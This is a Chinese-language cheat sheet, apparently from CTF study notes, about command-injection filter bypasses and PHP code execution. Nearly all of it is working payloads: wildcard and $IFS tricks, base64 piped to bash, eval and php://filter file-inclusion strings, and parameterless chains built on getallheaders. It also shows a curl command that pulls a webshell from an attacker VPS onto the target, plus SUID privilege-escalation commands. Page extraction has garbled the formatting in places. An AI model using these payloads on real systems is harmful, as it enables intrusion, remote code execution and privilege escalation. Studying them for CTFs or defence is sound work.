系统命令联合执行
1 | ; 前面的执行完执行后面的 |
系统命令执行常用绕过方法
过滤了指定字符串
cat fl*g.php"
: 使用通配符tac f???????"
: 使用通配符nl fl*g.php
: 过滤cat
、tac
命令cp fl*g.php 1.txt | cat 1.txt
: 间接访问 1.txtca\t /fl\ag
: linux 可以加\
ca''t
ca${Z}t
a=g;cat fla$a.php
: 使用变量覆盖b=ag;a=fl;cat$IFS$1$a$b.php
echo Y2F0IGZsYWcucGhw|base64 -d|bash
: 使用 base64 加密cat flag.php
利用管道 + sh/bash 替换
此外,当 cat
等命令被过滤时,也可以使用如下方式来进行命令执行
/bin/ca*
/bin/ca?
该类型的过滤,都可以尝试使用在
/bin/
目录下的可执行程序
过滤空格
%09
: TAB{$IFS}
${IFS}$9
$IFS$9
: 貌似 1-9 都可以IFS
<>
<
{cat,flag.php}
: 用逗号实现空格的效果,需要用{}
包裹%0a
%20
: 空格的 URL 编码
可以依次尝试,不一定全都可以绕过
过滤目录符号 /
使用多个 cd..
一级一级寻找,如下所示:
1 | cd ..%26%26cd ..%26%26cd ..%26%26ls |
无字母命令执行
如果过滤了所有字母,想要执行命令,也可以使用 $'...'
语法定义包含转义序列的字符串
如 ls
变为 $'\154\163'
,cat *
变为 $'\143\141\164'%20*
此外,还有一个特殊的命令 . ./*
这个命令会尝试执行当前目录下所有脚本中的命令(包括以 .jpg、.png 命名后缀的脚本),可以配合文件上传使用
如上传一个shell.jpg,内容如下:
1 |
|
然后执行 . ./*
命令,可以成功执行 ls
命令(有一个前提,就是要执行的 shell.jpg文件必须在目录排第一个否则通配符是无法识别的
无回显命令执行
可以使用 tee
命令将命令执行结果写入文件,然后通过读取文件的方式获取命令执行结果
tee
命令的常见用途是将命令的输出保存到文件中,同时将结果显示在终端上
1 | ls | tee 1 |
curl
下载服务器木马
在自己的服务器上上传木马,如 /usr/share/nginx/html/1.php
然后在命令执行点传入如下命令:
1 | curl vps-ip/1.php -o 1.php |
如果不指定服务器资源文件,那么会默认下载服务器的默认文件(如 index.php、index.html)
1 | curl vps-ip -o 1.php |
即可将 1.php 下载到目标服务器
PHP 命令执行函数
常见系统命令执行函数
当题目过滤某个函数时候,可以尝试使用其他函数
system()
passthur()
shell_exec()
echo `cat flag.php`
: 反引号(用于命令替换,即将反引号中命令的输出作为另一个命令的参数。也就是说,命令替换会先执行反引号中的命令,然后将其输出作为外部命令的一部分进行处理
PHP 不需要括号的函数
echo 123
print 123
include "/etc/passwd"
require "/etc/passwd"
include_once "/etc/passwd"
require_once "/etc/passwd"
可以在题目中过滤了括号的情况下尝试
使用 eval
嵌套传参
1 | ?c=eval($_GET[1]);&1=passthru("cat flag.php"); |
使用文件包含和PHP伪协议
例题如下:
1 | if(isset($_GET['c'])){ |
可以使用下面的payload来绕过
1 | c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php |
原理:
include$_GET[1]
运用了文件包含漏洞,作用是包含参数1的文件%0a
是 url 回车符,因为空格被过滤,但在 eval() 函数中,会自动给字符串和变量间添加空格,因此可以不加?>
php 定界符,用于绕过;
,其原理是 php 遇到定界符会自动在末尾加上一个分号,简单来说就是 php 文件中最后一句在?>
前可以不加;
过滤 '
"
将字符用 chr()
转义
如 var_dump(scandir("/"))
=> var_dump(scandir(chr(47)))
var_dump(file_get_contents(/flag))
=> var_dump(file_get_contents(chr(47).chr(102).chr(97).chr(108).chr(103))))
无参数读文件和命令执行
无参数指的是由于题目过滤限制,只能使用不带有参数的函数进行文件读取或命令执行
查看当前目录文件名
查看当前目录文件名命令 - print_r(scandir("."));
& var_dump(scandir('/'));
此外打印函数还有:
var_export()
- …
列出文件名函数还有:
glob('../../..'.'/*.php')
: 列出指定目录上的所有匹配文件名
该命令需要构造参数里的 "."
,有以下构造方法
a).
1 | print_r(scandir(current(localeconv()))); |
localeconv()
: 该函数返回一个包含本地数字及货币格式信息的数组,数组第一项就是"."
current()
函数返回数组中的单元,默认为第一个值。除了current()
函数,还有:pos()
函数是 current 的别名reset()
该函数返回数组第一个单元的值,如果数组为空则返回 FALSE
b).
1 | chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) |
该方法借助 phpversion()
返回PHP版本号,然后通过一系列函数计算得到 "."
c).
getcwd()
: 获取当前工作目录的路径
因此可以构造下面语句输出当前文件夹下所有文件名
1 | print_r(scandir(getcwd())); |
读取当前目录文件
如果文件不能直接显示,比如PHP源码,则还需要函数进行读取,读文件函数可以使用如下:
readfile()
(显示在源码处)file_get_contents()
(显示在源码处)highlight_file()
readgzfile()
show_source()
在禁用某些系统命令执行函数,如
system("cat flag.php");
时,也可以尝试直接使用读取文件函数,如c=highlight_file("flag.php");
a). 如果要读取的文件位于 scandir(getcwd())
函数得到的数组中的最后一位,则可以使用下面方法:
1 | show_source(end(scandir(getcwd()))); |
b). 如果要读取的文件位于数组第一个,则可以使用 array_reverse()
以相反的元素顺序返回数组:
1 | show_source(current(array_reverse(scandir(getcwd())))); |
c). 如果要读取的文件位于数组倒数第二个,则可以使用 next()
函数将数组内部指针向前移动一位
1 | show_source(next(array_reverse(scandir(getcwd())))); |
d). 如果不是上述情况,则可以使用 array_rand(array_flip())
array_flip()
: 交换数组中的键和值array_rand()
: 从数组中随机返回一个
所以可以构造下面语句,并多刷新几次尝试读取 flag.php:
1 | show_source(array_rand(array_flip(scandir(getcwd())))); |
查看上一级目录文件名
a). dirname()
方法
该函数如果传入的值是一个绝对路径,则返回上一级目录,如果传入的是文件的绝对路径,则返回该文件的当前路径
因此可以构造下面语句,查看上一级目录的文件
1 | print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 |
b). 构造 ".."
scandir(getcwd())
返回的数组第二个就是 ".."
,所以可以使用 next()
函数获取
1 | print_r(scandir(next(scandir(getcwd())))); |
此外,还有其它方法,如:
1 | next(scandir(chr(ord(hebrevc(crypt(time())))))) |
读取上一级目录文件
直接使用 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));
是不可以的,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录,使用 chdir()
来改变当前目录
1 | show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
无参数命令执行
传入的 code 不能含有参数,那就需要将参数放在别的地方,然后通过无参数函数来接收参数
a). getallheaders()
和 apache_request_hearders()
函数,该函数只能在 Apache 环境下使用,它的作用是返回所有的 HTTP 请求头信息
1 | ?code = eval(pos(array_reverse(getallheaders()))); |
上述代码返回请求头数组中的最后一个值并执行,因此我们可以在请求头中最后一位添加 MyHeader
达到命令执行的效果
1 | GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1 |
根据自己构造请求头位置的不同,可以结合前文方法构造获取不同位置的数组
b). get_defined_vars()
函数,该函数返回所有已定义变量的数组,这些变量包括环境变量、服务器变量、用户定义的变量
1 | ?flag=phpinfo();&code=print_r(get_defined_vars()) |
上述语句会打印出所有变量的数组,包括自定义的变量 flag=>phpinfo();
所以可以最终取到数组中自定义变量的值,最终造成命令执行,利用语句如下:
1 | ?flag=phpinfo();&code=eval(pos(pos(get_defined_vars()))); |
SUID 提权
具有suid权限的⼆进制可执⾏⽂件有:
1 | nmap |
查看具有 SUID 权限的命令
1 | find / -perm -u=s -type f 2>/dev/null > ./1.txt |
参数解释:
-perm
:find
命令的选项,按照权限进行匹配-u=s
: 匹配具有 SUID 权限的文件-type f
:find
命令的选项,只匹配文件,不包括目录、链接等2>/dev/null
: 将错误信息重定向到/dev/null
文件,即不显示错误信息
然后根据得到的结果,寻找可利用命令进行提权
利用方法
date -f
命令
该命令根据文件的内容,读出里面的日期信息
如果让他读取一些不含有时间内容的文件,他会以报错的形式把文档内容读取出来
因此可以利用该命令,读取本来不可读的文件内容
1 | date -f /flag |